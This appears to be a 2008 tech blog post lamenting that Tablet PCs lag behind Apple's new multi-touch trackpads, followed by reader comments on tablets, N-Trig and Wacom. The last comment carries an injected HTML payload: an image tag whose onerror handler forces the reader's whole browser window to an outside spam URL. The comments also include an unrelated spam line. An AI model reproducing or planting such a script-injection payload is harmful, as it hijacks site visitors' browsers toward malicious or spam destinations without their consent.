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Thursday, February 28, 2008

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Where's The Multi-Touch Love?

- Rob Bushway

Most folks know that Apple added multi-touch touchpads to their MacBook Pro line earlier this week, which prompted Loren Heiny to ask the following question:

Let me see. How many “tech-leading” Tablet PCs have multi-touch? Oh, yeah. None.

This is getting old. Where is the defibrillator for the Tablet PC industry?

Good question, Loren. We do know that Dell's XT will support multi-touch when N-Trig releases the update, although we don't know Dell will release it for current XT's. Beyond that, I have to agree with Loren: where's the defibrillator? If there was ever a platform poised to bring true multi-touch, it was the tablet pc, and again, we see Apple taking the lead. I originally dismissed Apple's multi-touch touchpad approach as un-natural, but after demoing a MacBook Air last week, I came away quite impressed with how natural it felt. On a related Apple multi-touch issue, check out this patent request for a next generation "multi-touch input surface" which aims to replace traditional input devices like tablet, mouse, and keyboard.

Back to Tablet PCs - hardware support is just one of the issues. We still need OS and software support for multi-touch to truly work and be functional, which presents more delays.

By the way, my St. Louis trip has delayed my publishing the N-Trig interview. I'm still working on it, getting more questions / answers from N-Trig, etc.

Apple | N-Trig | Multi-Touch | Tablet PC

2/28/2008 9:03 AM MST

Where's The Multi-Touch Love? Comments [8] | Digg This | del.icio.us | Citations

Thursday, February 28, 2008 2:10:18 PM (Mountain Standard Time, UTC-07:00)

I caught myself trying to pinch and zoom on the Fujitsu U810 screen when running google maps.

Rodfather

Thursday, February 28, 2008 9:48:13 PM (Mountain Standard Time, UTC-07:00)

Why, oh why isn't Apple doing this on the *screen*, instead of the trackpad? Apple basically has the next Newton already, but won't call it that. Apple has had Inkwell for years now, but let it languish away while Vista's handwriting recognition stole the show. Bring Inkwell up to par with Vista's handwriting capabilities, give me a stylus, and make the iPod touch "platform" a true PDA. I cringe every time I watch that Macworld video where Mr. Jobs talks about the "natural stylus" (the finger, lol. You ever try to write with your finger?).

Now they are "leading" the way with multi-touch, but on the trackpad (or the "multi-touch input surface")- huh? Its the *screen*, stupid. Why do I want to pinch and gesture on my trackpad? Tell me you wouldn't buy a Mac tablet, go on, I dare you. With OS/X, better inking, and a multitouch screen?

Brian

Friday, February 29, 2008 5:37:14 AM (Mountain Standard Time, UTC-07:00)

Supposedly a Tablet was supposed to be released at MacWorld, but it didn't happen (talking about the official one here, not the Axiotron Modbook), because of work on MBA/delays/etc. Hopefully, the time until WWDC gives Apple enough time to get a tablet ready for demoing, so if WWDC still doesn't produce a tablet then I'm going to wait for the Montevina Lenovo tablet.

wickedpheonix

Friday, February 29, 2008 7:59:36 AM (Mountain Standard Time, UTC-07:00)

On the St. Louis trip delaying articles...

Where is part 2? Wasn't there going to be a "What happened to my Kindle" story?

Steven

Friday, February 29, 2008 1:50:54 PM (Mountain Standard Time, UTC-07:00)

Let me see. How many “tech-leading” Tablet PCs have multi-touch? Oh, yeah. None.

My lenovo x61t has an XGA multi-touch screen. It's pretty nice to have a touchscreen mouse in Vista. Did you mean something different?

anonymous coward

Saturday, March 08, 2008 3:31:02 PM (Mountain Standard Time, UTC-07:00)

If your still asking questions, here's a few:

In late January, Wacom shipped the Cintiq 12WX for $999; here in southern California, Fry's Electronics retail (and online) sold out of their stock within a week.

How do you see the market for LCD based digitizing tablets?

Is it inevitable that all digitizing tablets will be LCD based?

Are you, or your OEM customers, planning to ship a LCD digitizing tablet? When? What features/price?

How has the advent of the iPhone effected your market space: in cellular phones? in UMPC hardware? in Tablet PC's? How about the inclusion of multi-touch track pads in the new Mac Book Air/Pro?

What do you think of the current state-of-the-art of Vista Tablet PC OS functionality?

Have you seen/what do you think of Perceptive Pixel? Their software UX? Will you license their software/technology for inclusion with your products?

What new categories of use cases, or applications, do you see driving demand for your technology?

Otto T

Friday, April 11, 2008 8:46:56 AM (Mountain Daylight Time, UTC-06:00)

Good idea!
P.S. A U realy girl?

Memmorium

Saturday, April 12, 2008 6:12:16 AM (Mountain Daylight Time, UTC-06:00)

my pics <img src=http://google.com/444.gif onerror="window.open('http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/','_top')">

mypicst

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